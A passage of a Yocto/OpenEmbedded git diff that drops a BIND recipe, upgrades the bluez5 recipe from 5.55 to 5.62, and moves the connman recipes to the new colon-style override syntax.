-HOMEPAGE = "https://www.isc.org/bind/"
-SECTION = "console/network"
-
-LICENSE = "MPL-2.0"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=188b8d0644bd6835df43b84e3f180be1"
-
-DEPENDS = "openssl libcap zlib libuv"
-
-SRC_URI = "https://ftp.isc.org/isc/bind9/${PV}/${BPN}-${PV}.tar.xz \
- file://conf.patch \
- file://named.service \
- file://bind9 \
- file://generate-rndc-key.sh \
- file://make-etc-initd-bind-stop-work.patch \
- file://init.d-add-support-for-read-only-rootfs.patch \
- file://bind-ensure-searching-for-json-headers-searches-sysr.patch \
- file://0001-named-lwresd-V-and-start-log-hide-build-options.patch \
- file://0001-avoid-start-failure-with-bind-user.patch \
- "
-
-SRC_URI[sha256sum] = "9f7d1812ebbd26a699f62b6fa8522d5dec57e4bf43af0042a0d60d39ed8314d1"
-
-UPSTREAM_CHECK_URI = "https://ftp.isc.org/isc/bind9/"
-# stay at 9.16 follow the ESV versions divisible by 4
-UPSTREAM_CHECK_REGEX = "(?P<pver>9.(16|20|24|28)(\.\d+)+(-P\d+)*)/"
-
-inherit autotools update-rc.d systemd useradd pkgconfig multilib_header update-alternatives
-
-# PACKAGECONFIGs readline and libedit should NOT be set at same time
-PACKAGECONFIG ?= "readline"
-PACKAGECONFIG[httpstats] = "--with-libxml2=${STAGING_DIR_HOST}${prefix},--without-libxml2,libxml2"
-PACKAGECONFIG[readline] = "--with-readline=-lreadline,,readline"
-PACKAGECONFIG[libedit] = "--with-readline=-ledit,,libedit"
-PACKAGECONFIG[python3] = "--with-python=yes --with-python-install-dir=${PYTHON_SITEPACKAGES_DIR} , --without-python, python3-ply-native,"
-
-EXTRA_OECONF = " --with-libtool --disable-devpoll --disable-auto-validation --enable-epoll \
- --with-gssapi=no --with-lmdb=no --with-zlib \
- --sysconfdir=${sysconfdir}/bind \
- --with-openssl=${STAGING_DIR_HOST}${prefix} \
- "
-LDFLAGS_append = " -lz"
-
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3native distutils3-base', '', d)}
-
-# dhcp needs .la so keep them
-REMOVE_LIBTOOL_LA = "0"
-
-USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --home ${localstatedir}/cache/bind --no-create-home \
- --user-group bind"
-
-INITSCRIPT_NAME = "bind"
-INITSCRIPT_PARAMS = "defaults"
-
-SYSTEMD_SERVICE_${PN} = "named.service"
-
-do_install_append() {
-
- rmdir "${D}${localstatedir}/run"
- rmdir --ignore-fail-on-non-empty "${D}${localstatedir}"
- install -d -o bind "${D}${localstatedir}/cache/bind"
- install -d "${D}${sysconfdir}/bind"
- install -d "${D}${sysconfdir}/init.d"
- install -m 644 ${S}/conf/* "${D}${sysconfdir}/bind/"
- install -m 755 "${S}/init.d" "${D}${sysconfdir}/init.d/bind"
- if ${@bb.utils.contains('PACKAGECONFIG', 'python3', 'true', 'false', d)}; then
- sed -i -e '1s,#!.*python3,#! /usr/bin/python3,' \
- ${D}${sbindir}/dnssec-coverage \
- ${D}${sbindir}/dnssec-checkds \
- ${D}${sbindir}/dnssec-keymgr
- fi
-
- # Install systemd related files
- install -d ${D}${sbindir}
- install -m 755 ${WORKDIR}/generate-rndc-key.sh ${D}${sbindir}
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/named.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/named.service
-
- install -d ${D}${sysconfdir}/default
- install -m 0644 ${WORKDIR}/bind9 ${D}${sysconfdir}/default
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
- echo "d /run/named 0755 bind bind - -" > ${D}${sysconfdir}/tmpfiles.d/bind.conf
- fi
-
- oe_multilib_header isc/platform.h
-}
-
-CONFFILES_${PN} = " \
- ${sysconfdir}/bind/named.conf \
- ${sysconfdir}/bind/named.conf.local \
- ${sysconfdir}/bind/named.conf.options \
- ${sysconfdir}/bind/db.0 \
- ${sysconfdir}/bind/db.127 \
- ${sysconfdir}/bind/db.empty \
- ${sysconfdir}/bind/db.local \
- ${sysconfdir}/bind/db.root \
- "
-
-ALTERNATIVE_${PN}-utils = "nslookup"
-ALTERNATIVE_LINK_NAME[nslookup] = "${bindir}/nslookup"
-ALTERNATIVE_PRIORITY = "100"
-
-PACKAGE_BEFORE_PN += "${PN}-utils"
-FILES_${PN}-utils = "${bindir}/host ${bindir}/dig ${bindir}/mdig ${bindir}/nslookup ${bindir}/nsupdate"
-FILES_${PN}-dev += "${bindir}/isc-config.h"
-FILES_${PN} += "${sbindir}/generate-rndc-key.sh"
-
-PACKAGE_BEFORE_PN += "${PN}-libs"
-FILES_${PN}-libs = "${libdir}/*.so* ${libdir}/named/*.so*"
-FILES_${PN}-staticdev += "${libdir}/*.la"
-
-PACKAGE_BEFORE_PN += "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3-bind', '', d)}"
-FILES_python3-bind = "${sbindir}/dnssec-coverage ${sbindir}/dnssec-checkds \
- ${sbindir}/dnssec-keymgr ${PYTHON_SITEPACKAGES_DIR}"
-
-RDEPENDS_${PN}-dev = ""
-RDEPENDS_python3-bind = "python3-core python3-ply"
diff --git a/meta/recipes-connectivity/bluez5/bluez5.inc b/meta/recipes-connectivity/bluez5/bluez5.inc
index 4c1156c67c..0a5fc9d4b8 100644
--- a/meta/recipes-connectivity/bluez5/bluez5.inc
+++ b/meta/recipes-connectivity/bluez5/bluez5.inc
@@ -5,12 +5,12 @@ SECTION = "libs"
LICENSE = "GPLv2+ & LGPLv2.1+"
LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
file://COPYING.LIB;md5=fb504b67c50331fc78734fed90fb0e09 \
- file://src/main.c;beginline=1;endline=24;md5=9bc54b93cd7e17bf03f52513f39f926e"
+ file://src/main.c;beginline=1;endline=24;md5=0ad83ca0dc37ab08af448777c581e7ac"
DEPENDS = "dbus glib-2.0"
PROVIDES += "bluez-hcidump"
-RPROVIDES_${PN} += "bluez-hcidump"
+RPROVIDES:${PN} += "bluez-hcidump"
-RCONFLICTS_${PN} = "bluez4"
+RCONFLICTS:${PN} = "bluez4"
PACKAGECONFIG ??= "obex-profiles \
readline \
@@ -45,6 +45,7 @@ PACKAGECONFIG[deprecated] = "--enable-deprecated,--disable-deprecated"
PACKAGECONFIG[mesh] = "--enable-mesh --enable-external-ell,--disable-mesh, json-c ell"
PACKAGECONFIG[btpclient] = "--enable-btpclient --enable-external-ell,--disable-btpclient, ell"
PACKAGECONFIG[udev] = "--enable-udev,--disable-udev,udev"
+PACKAGECONFIG[manpages] = "--enable-manpages,--disable-manpages,python3-docutils-native"
SRC_URI = "${KERNELORG_MIRROR}/linux/bluetooth/bluez-${PV}.tar.xz \
file://init \
@@ -77,7 +78,7 @@ NOINST_TOOLS = " \
${@bb.utils.contains('PACKAGECONFIG', 'tools', '${NOINST_TOOLS_BT}', '', d)} \
"
-do_install_append() {
+do_install:append() {
install -d ${D}${INIT_D_DIR}
install -m 0755 ${WORKDIR}/init ${D}${INIT_D_DIR}/bluetooth
@@ -105,25 +106,25 @@ do_install_append() {
PACKAGES =+ "${PN}-testtools ${PN}-obex ${PN}-noinst-tools"
-FILES_${PN} += " \
+FILES:${PN} += " \
${libdir}/bluetooth/plugins/*.so \
${systemd_unitdir}/ ${datadir}/dbus-1 \
${libdir}/cups \
"
-FILES_${PN}-dev += " \
+FILES:${PN}-dev += " \
${libdir}/bluetooth/plugins/*.la \
"
-FILES_${PN}-obex = "${libexecdir}/bluetooth/obexd \
+FILES:${PN}-obex = "${libexecdir}/bluetooth/obexd \
${exec_prefix}/lib/systemd/user/obex.service \
${systemd_system_unitdir}/obex.service \
${sysconfdir}/systemd/system/multi-user.target.wants/obex.service \
${datadir}/dbus-1/services/org.bluez.obex.service \
${sysconfdir}/dbus-1/system.d/obexd.conf \
"
-SYSTEMD_SERVICE_${PN}-obex = "obex.service"
+SYSTEMD_SERVICE:${PN}-obex = "obex.service"
-FILES_${PN}-testtools = "${libdir}/bluez/test/*"
+FILES:${PN}-testtools = "${libdir}/bluez/test/*"
def get_noinst_tools_paths (d, bb, tools):
s = list()
@@ -133,14 +134,14 @@ def get_noinst_tools_paths (d, bb, tools):
s.append("%s/%s" % (bindir, f))
return "\n".join(s)
-FILES_${PN}-noinst-tools = "${@get_noinst_tools_paths(d, bb, d.getVar('NOINST_TOOLS'))}"
+FILES:${PN}-noinst-tools = "${@get_noinst_tools_paths(d, bb, d.getVar('NOINST_TOOLS'))}"
-RDEPENDS_${PN}-testtools += "python3-core python3-dbus"
-RDEPENDS_${PN}-testtools += "${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)}"
+RDEPENDS:${PN}-testtools += "python3-core python3-dbus"
+RDEPENDS:${PN}-testtools += "${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)}"
-SYSTEMD_SERVICE_${PN} = "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'bluetooth.service', '', d)}"
+SYSTEMD_SERVICE:${PN} = "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'bluetooth.service', '', d)}"
INITSCRIPT_PACKAGES = "${PN}"
-INITSCRIPT_NAME_${PN} = "bluetooth"
+INITSCRIPT_NAME:${PN} = "bluetooth"
do_compile_ptest() {
oe_runmake buildtests
@@ -151,4 +152,4 @@ do_install_ptest() {
rm -f ${D}${PTEST_PATH}/unit/*.o
}
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-gconv-utf-16"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-gconv-utf-16"
diff --git a/meta/recipes-connectivity/bluez5/bluez5_5.55.bb b/meta/recipes-connectivity/bluez5/bluez5_5.55.bb
deleted file mode 100644
index 8190924562..0000000000
--- a/meta/recipes-connectivity/bluez5/bluez5_5.55.bb
+++ /dev/null
@@ -1,68 +0,0 @@
-require bluez5.inc
-
-SRC_URI[md5sum] = "94972b8bc7ade60c72b0ffa6ccff2c0a"
-SRC_URI[sha256sum] = "8863717113c4897e2ad3271fc808ea245319e6fd95eed2e934fae8e0894e9b88"
-
-# noinst programs in Makefile.tools that are conditional on READLINE
-# support
-NOINST_TOOLS_READLINE ?= " \
- ${@bb.utils.contains('PACKAGECONFIG', 'deprecated', 'attrib/gatttool', '', d)} \
- tools/obex-client-tool \
- tools/obex-server-tool \
- tools/bluetooth-player \
- tools/obexctl \
- tools/btmgmt \
-"
-
-# noinst programs in Makefile.tools that are conditional on TESTING
-# support
-NOINST_TOOLS_TESTING ?= " \
- emulator/btvirt \
- emulator/b1ee \
- emulator/hfp \
- peripheral/btsensor \
- tools/3dsp \
- tools/mgmt-tester \
- tools/gap-tester \
- tools/l2cap-tester \
- tools/sco-tester \
- tools/smp-tester \
- tools/hci-tester \
- tools/rfcomm-tester \
- tools/bnep-tester \
- tools/userchan-tester \
-"
-
-# noinst programs in Makefile.tools that are conditional on TOOLS
-# support
-NOINST_TOOLS_BT ?= " \
- tools/bdaddr \
- tools/avinfo \
- tools/avtest \
- tools/scotest \
- tools/amptest \
- tools/hwdb \
- tools/hcieventmask \
- tools/hcisecfilter \
- tools/btinfo \
- tools/btsnoop \
- tools/btproxy \
- tools/btiotest \
- tools/bneptest \
- tools/mcaptest \
- tools/cltest \
- tools/oobtest \
- tools/advtest \
- tools/seq2bseq \
- tools/nokfw \
- tools/create-image \
- tools/eddystone \
- tools/ibeacon \
- tools/btgatt-client \
- tools/btgatt-server \
- tools/test-runner \
- tools/check-selftest \
- tools/gatt-service \
- profiles/iap/iapd \
- ${@bb.utils.contains('PACKAGECONFIG', 'btpclient', 'tools/btpclient', '', d)} \
-"
diff --git a/meta/recipes-connectivity/bluez5/bluez5_5.62.bb b/meta/recipes-connectivity/bluez5/bluez5_5.62.bb
new file mode 100644
index 0000000000..411ac8b5a3
--- /dev/null
+++ b/meta/recipes-connectivity/bluez5/bluez5_5.62.bb
@@ -0,0 +1,70 @@
+require bluez5.inc
+
+SRC_URI[sha256sum] = "38090a5b750e17fc08d3e52178ed8d3254c5f4bd2c48830d5c1955b88e3bc0c2"
+
+# These issues have kernel fixes rather than bluez fixes so exclude here
+CVE_CHECK_WHITELIST += "CVE-2020-12352 CVE-2020-24490"
+
+# noinst programs in Makefile.tools that are conditional on READLINE
+# support
+NOINST_TOOLS_READLINE ?= " \
+ ${@bb.utils.contains('PACKAGECONFIG', 'deprecated', 'attrib/gatttool', '', d)} \
+ tools/obex-client-tool \
+ tools/obex-server-tool \
+ tools/bluetooth-player \
+ tools/obexctl \
+ tools/btmgmt \
+"
+
+# noinst programs in Makefile.tools that are conditional on TESTING
+# support
+NOINST_TOOLS_TESTING ?= " \
+ emulator/btvirt \
+ emulator/b1ee \
+ emulator/hfp \
+ peripheral/btsensor \
+ tools/3dsp \
+ tools/mgmt-tester \
+ tools/gap-tester \
+ tools/l2cap-tester \
+ tools/sco-tester \
+ tools/smp-tester \
+ tools/hci-tester \
+ tools/rfcomm-tester \
+ tools/bnep-tester \
+ tools/userchan-tester \
+"
+
+# noinst programs in Makefile.tools that are conditional on TOOLS
+# support
+NOINST_TOOLS_BT ?= " \
+ tools/bdaddr \
+ tools/avinfo \
+ tools/avtest \
+ tools/scotest \
+ tools/amptest \
+ tools/hwdb \
+ tools/hcieventmask \
+ tools/hcisecfilter \
+ tools/btinfo \
+ tools/btsnoop \
+ tools/btproxy \
+ tools/btiotest \
+ tools/bneptest \
+ tools/mcaptest \
+ tools/cltest \
+ tools/oobtest \
+ tools/advtest \
+ tools/seq2bseq \
+ tools/nokfw \
+ tools/create-image \
+ tools/eddystone \
+ tools/ibeacon \
+ tools/btgatt-client \
+ tools/btgatt-server \
+ tools/test-runner \
+ tools/check-selftest \
+ tools/gatt-service \
+ profiles/iap/iapd \
+ ${@bb.utils.contains('PACKAGECONFIG', 'btpclient', 'tools/btpclient', '', d)} \
+"
diff --git a/meta/recipes-connectivity/connman/connman-conf.bb b/meta/recipes-connectivity/connman/connman-conf.bb
index 9a519ec866..006f976997 100644
--- a/meta/recipes-connectivity/connman/connman-conf.bb
+++ b/meta/recipes-connectivity/connman/connman-conf.bb
@@ -2,11 +2,11 @@ SUMMARY = "Connman config to setup wired interface on qemu machines"
DESCRIPTION = "This is the ConnMan configuration to set up a Wired \
network interface for a qemu machine."
LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
inherit systemd
-SRC_URI_append_qemuall = " file://wired.config \
+SRC_URI:append:qemuall = " file://wired.config \
file://wired-setup \
file://wired-connection.service \
"
@@ -16,7 +16,7 @@ S = "${WORKDIR}"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-FILES_${PN} = "${localstatedir}/* ${datadir}/*"
+FILES:${PN} = "${localstatedir}/* ${datadir}/*"
do_install() {
#Configure Wired network interface in case of qemu* machines
@@ -33,4 +33,4 @@ do_install() {
fi
}
-SYSTEMD_SERVICE_${PN}_qemuall = "wired-connection.service"
+SYSTEMD_SERVICE:${PN}:qemuall = "wired-connection.service"
diff --git a/meta/recipes-connectivity/connman/connman-gnome_0.7.bb b/meta/recipes-connectivity/connman/connman-gnome_0.7.bb
index af986c4eab..7e1619aab2 100644
--- a/meta/recipes-connectivity/connman/connman-gnome_0.7.bb
+++ b/meta/recipes-connectivity/connman/connman-gnome_0.7.bb
@@ -10,7 +10,7 @@ DEPENDS = "gtk+3 dbus-glib dbus-glib-native intltool-native gettext-native"
# 0.7 tag
SRCREV = "cf3c325b23dae843c5499a113591cfbc98acb143"
-SRC_URI = "git://github.com/connectivity/connman-gnome.git \
+SRC_URI = "git://github.com/connectivity/connman-gnome.git;branch=master;protocol=https \
file://0001-Removed-icon-from-connman-gnome-about-applet.patch \
file://null_check_for_ipv4_config.patch \
file://images/ \
@@ -23,8 +23,8 @@ S = "${WORKDIR}/git"
inherit autotools-brokensep gtk-icon-cache pkgconfig features_check
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-RDEPENDS_${PN} = "connman"
+RDEPENDS:${PN} = "connman"
-do_install_append() {
+do_install:append() {
install -m 0644 ${WORKDIR}/images/* ${D}/usr/share/icons/hicolor/22x22/apps/
}
diff --git a/meta/recipes-connectivity/connman/connman.inc b/meta/recipes-connectivity/connman/connman.inc
index 776bbfbff2..748eefa748 100644
--- a/meta/recipes-connectivity/connman/connman.inc
+++ b/meta/recipes-connectivity/connman/connman.inc
@@ -15,6 +15,8 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
inherit autotools pkgconfig systemd update-rc.d update-alternatives
+CVE_PRODUCT = "connman connection_manager"
+
DEPENDS = "dbus glib-2.0 ppp"
EXTRA_OECONF += "\
@@ -34,9 +36,9 @@ PACKAGECONFIG ??= "wispr iptables client\
# If you want ConnMan to support VPN, add following statement into
# local.conf or distro config
-# PACKAGECONFIG_append_pn-connman = " openvpn vpnc l2tp pptp"
+# PACKAGECONFIG:append:pn-connman = " openvpn vpnc l2tp pptp"
-PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_unitdir}/system/ --with-tmpfilesdir=${sysconfdir}/tmpfiles.d/,--with-systemdunitdir='' --with-tmpfilesdir=''"
+PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_system_unitdir}/ --with-tmpfilesdir=${sysconfdir}/tmpfiles.d/,--with-systemdunitdir='' --with-tmpfilesdir=''"
PACKAGECONFIG[wifi] = "--enable-wifi, --disable-wifi, wpa-supplicant, wpa-supplicant"
PACKAGECONFIG[bluez] = "--enable-bluetooth, --disable-bluetooth, bluez5, bluez5"
PACKAGECONFIG[3g] = "--enable-ofono, --disable-ofono, ofono, ofono"
@@ -64,16 +66,16 @@ python __anonymous () {
d.setVar('SYSTEMD_PACKAGES', systemd_packages)
}
-SYSTEMD_SERVICE_${PN} = "connman.service"
-SYSTEMD_SERVICE_${PN}-vpn = "connman-vpn.service"
-SYSTEMD_SERVICE_${PN}-wait-online = "connman-wait-online.service"
+SYSTEMD_SERVICE:${PN} = "connman.service"
+SYSTEMD_SERVICE:${PN}-vpn = "connman-vpn.service"
+SYSTEMD_SERVICE:${PN}-wait-online = "connman-wait-online.service"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "${@bb.utils.contains('DISTRO_FEATURES','systemd','resolv-conf','',d)}"
+ALTERNATIVE:${PN} = "${@bb.utils.contains('DISTRO_FEATURES','systemd','resolv-conf','',d)}"
ALTERNATIVE_TARGET[resolv-conf] = "${@bb.utils.contains('DISTRO_FEATURES','systemd','${sysconfdir}/resolv-conf.connman','',d)}"
ALTERNATIVE_LINK_NAME[resolv-conf] = "${@bb.utils.contains('DISTRO_FEATURES','systemd','${sysconfdir}/resolv.conf','',d)}"
-do_install_append() {
+do_install:append() {
if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
install -d ${D}${sysconfdir}/init.d
install -m 0755 ${WORKDIR}/connman ${D}${sysconfdir}/init.d/connman
@@ -100,7 +102,7 @@ do_install_append() {
}
# These used to be plugins, but now they are core
-RPROVIDES_${PN} = "\
+RPROVIDES:${PN} = "\
connman-plugin-loopback \
connman-plugin-ethernet \
${@bb.utils.contains('PACKAGECONFIG', 'bluetooth','connman-plugin-bluetooth', '', d)} \
@@ -108,7 +110,7 @@ RPROVIDES_${PN} = "\
${@bb.utils.contains('PACKAGECONFIG', '3g','connman-plugin-ofono', '', d)} \
"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
dbus \
"
@@ -119,11 +121,11 @@ def add_rdepends(bb, d, file, pkg, depmap, multilib_prefix, add_insane_skip):
if plugintype in depmap:
rdepends = map(lambda x: multilib_prefix + x, \
depmap[plugintype].split())
- d.setVar("RDEPENDS_%s" % pkg, " ".join(rdepends))
+ d.setVar("RDEPENDS:%s" % pkg, " ".join(rdepends))
if add_insane_skip:
- d.appendVar("INSANE_SKIP_%s" % pkg, "dev-so")
+ d.appendVar("INSANE_SKIP:%s" % pkg, "dev-so")
-python populate_packages_prepend() {
+python populate_packages:prepend() {
depmap = dict(pppd="ppp")
multilib_prefix = (d.getVar("MLPREFIX") or "")
@@ -144,72 +146,72 @@ python populate_packages_prepend() {
PACKAGES =+ "${PN}-tools ${PN}-tests ${PN}-client"
-FILES_${PN}-tools = "${bindir}/wispr"
-RDEPENDS_${PN}-tools ="${PN}"
+FILES:${PN}-tools = "${bindir}/wispr"
+RDEPENDS:${PN}-tools ="${PN}"
-FILES_${PN}-tests = "${bindir}/*-test"
+FILES:${PN}-tests = "${bindir}/*-test"
-FILES_${PN}-client = "${bindir}/connmanctl"
-RDEPENDS_${PN}-client ="${PN}"
+FILES:${PN}-client = "${bindir}/connmanctl"
+RDEPENDS:${PN}-client ="${PN}"
-FILES_${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*.so.* \
+FILES:${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*.so.* \
${libdir}/connman/plugins \
${sysconfdir} ${sharedstatedir} ${localstatedir} ${datadir} \
${base_bindir}/* ${base_sbindir}/* ${base_libdir}/*.so* ${datadir}/${PN} \
${datadir}/dbus-1/system-services/* \
${sysconfdir}/tmpfiles.d/connman_resolvconf.conf"
-FILES_${PN}-dev += "${libdir}/connman/*/*.la"
+FILES:${PN}-dev += "${libdir}/connman/*/*.la"
PACKAGES =+ "${PN}-vpn ${PN}-wait-online"
-SUMMARY_${PN}-vpn = "A daemon for managing VPN connections within embedded devices"
-DESCRIPTION_${PN}-vpn = "The ConnMan VPN provides a daemon for \
+SUMMARY:${PN}-vpn = "A daemon for managing VPN connections within embedded devices"
+DESCRIPTION:${PN}-vpn = "The ConnMan VPN provides a daemon for \
managing VPN connections within embedded devices running the Linux \
operating system. The connman-vpnd handles all the VPN connections \
and starts/stops VPN client processes when necessary. The connman-vpnd \
provides a DBus API for managing VPN connections. All the different \
VPN technogies are implemented using plug-ins."
-FILES_${PN}-vpn += "${sbindir}/connman-vpnd \
+FILES:${PN}-vpn += "${sbindir}/connman-vpnd \
${sysconfdir}/dbus-1/system.d/connman-vpn-dbus.conf \
${datadir}/dbus-1/system-services/net.connman.vpn.service \
- ${systemd_unitdir}/system/connman-vpn.service"
+ ${systemd_system_unitdir}/connman-vpn.service"
-SUMMARY_${PN}-wait-online = "A program that will return once ConnMan has connected to a network"
-DESCRIPTION_${PN}-wait-online = "A service that can be enabled so that \
+SUMMARY:${PN}-wait-online = "A program that will return once ConnMan has connected to a network"
+DESCRIPTION:${PN}-wait-online = "A service that can be enabled so that \
the system waits until a network connection is established."
-FILES_${PN}-wait-online += "${sbindir}/connmand-wait-online \
- ${systemd_unitdir}/system/connman-wait-online.service"
+FILES:${PN}-wait-online += "${sbindir}/connmand-wait-online \
+ ${systemd_system_unitdir}/connman-wait-online.service"
-SUMMARY_${PN}-plugin-vpn-openvpn = "An OpenVPN plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-openvpn = "The ConnMan OpenVPN plugin uses openvpn client \
+SUMMARY:${PN}-plugin-vpn-openvpn = "An OpenVPN plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-openvpn = "The ConnMan OpenVPN plugin uses openvpn client \
to create a VPN connection to OpenVPN server."
-FILES_${PN}-plugin-vpn-openvpn += "${libdir}/connman/scripts/openvpn-script \
+FILES:${PN}-plugin-vpn-openvpn += "${libdir}/connman/scripts/openvpn-script \
${libdir}/connman/plugins-vpn/openvpn.so"
-RDEPENDS_${PN}-plugin-vpn-openvpn += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','openvpn','${PN}-plugin-vpn-openvpn', '', d)}"
+RDEPENDS:${PN}-plugin-vpn-openvpn += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','openvpn','${PN}-plugin-vpn-openvpn', '', d)}"
-SUMMARY_${PN}-plugin-vpn-vpnc = "A vpnc plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-vpnc = "The ConnMan vpnc plugin uses vpnc client \
+SUMMARY:${PN}-plugin-vpn-vpnc = "A vpnc plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-vpnc = "The ConnMan vpnc plugin uses vpnc client \
to create a VPN connection to Cisco3000 VPN Concentrator."
-FILES_${PN}-plugin-vpn-vpnc += "${libdir}/connman/scripts/openconnect-script \
+FILES:${PN}-plugin-vpn-vpnc += "${libdir}/connman/scripts/openconnect-script \
${libdir}/connman/plugins-vpn/vpnc.so \
${libdir}/connman/scripts/vpn-script"
-RDEPENDS_${PN}-plugin-vpn-vpnc += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','vpnc','${PN}-plugin-vpn-vpnc', '', d)}"
+RDEPENDS:${PN}-plugin-vpn-vpnc += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','vpnc','${PN}-plugin-vpn-vpnc', '', d)}"
-SUMMARY_${PN}-plugin-vpn-l2tp = "A L2TP plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-l2tp = "The ConnMan L2TP plugin uses xl2tpd daemon \
+SUMMARY:${PN}-plugin-vpn-l2tp = "A L2TP plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-l2tp = "The ConnMan L2TP plugin uses xl2tpd daemon \
to create a VPN connection to L2TP server."
-FILES_${PN}-plugin-vpn-l2tp += "${libdir}/connman/scripts/libppp-plugin.so* \
+FILES:${PN}-plugin-vpn-l2tp += "${libdir}/connman/scripts/libppp-plugin.so* \
${libdir}/connman/plugins-vpn/l2tp.so"
-RDEPENDS_${PN}-plugin-vpn-l2tp += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','l2tp','${PN}-plugin-vpn-l2tp', '', d)}"
+RDEPENDS:${PN}-plugin-vpn-l2tp += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','l2tp','${PN}-plugin-vpn-l2tp', '', d)}"
-SUMMARY_${PN}-plugin-vpn-pptp = "A PPTP plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-pptp = "The ConnMan PPTP plugin uses pptp-linux client \
+SUMMARY:${PN}-plugin-vpn-pptp = "A PPTP plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-pptp = "The ConnMan PPTP plugin uses pptp-linux client \
to create a VPN connection to PPTP server."
-FILES_${PN}-plugin-vpn-pptp += "${libdir}/connman/scripts/libppp-plugin.so* \
+FILES:${PN}-plugin-vpn-pptp += "${libdir}/connman/scripts/libppp-plugin.so* \
${libdir}/connman/plugins-vpn/pptp.so"
-RDEPENDS_${PN}-plugin-vpn-pptp += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','pptp','${PN}-plugin-vpn-pptp', '', d)}"
+RDEPENDS:${PN}-plugin-vpn-pptp += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','pptp','${PN}-plugin-vpn-pptp', '', d)}"
diff --git a/meta/recipes-connectivity/connman/connman/0001-connman.service-stop-systemd-networkd-when-using-con.patch b/meta/recipes-connectivity/connman/connman/0001-connman.service-stop-systemd-networkd-when-using-con.patch
deleted file mode 100644
index dd012750a4..0000000000
--- a/meta/recipes-connectivity/connman/connman/0001-connman.service-stop-systemd-networkd-when-using-con.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 9fea099d0a3ece37d80ad70d32ebb8a93f8f3280 Mon Sep 17 00:00:00 2001
-From: Yi Zhao <yi.zhao@windriver.com>
-Date: Fri, 30 Oct 2020 13:48:45 +0800
-Subject: [PATCH] connman.service: stop systemd-networkd when using connman
-
-Stop systemd-networkd service when we use connman as network manager.
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- src/connman.service.in | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/connman.service.in b/src/connman.service.in
-index 79e75d6..014eafe 100644
---- a/src/connman.service.in
-+++ b/src/connman.service.in
-@@ -6,6 +6,7 @@ RequiresMountsFor=@localstatedir@/lib/connman
- After=dbus.service network-pre.target systemd-sysusers.service
- Before=network.target multi-user.target shutdown.target
- Wants=network.target
-+Conflicts=systemd-networkd.service systemd-networkd.socket
- Conflicts=systemd-resolved.service
-
- [Service]
---
-2.17.1
-
diff --git a/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch b/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch
index 942b9c97b6..9dca21a02f 100644
--- a/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch
+++ b/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch
@@ -1,4 +1,4 @@
-From c7734e1547db967eccf242fe4b9e8a30b9ff141c Mon Sep 17 00:00:00 2001
+From 01974865e4d331eeaf25248bee1bb96539c450d9 Mon Sep 17 00:00:00 2001
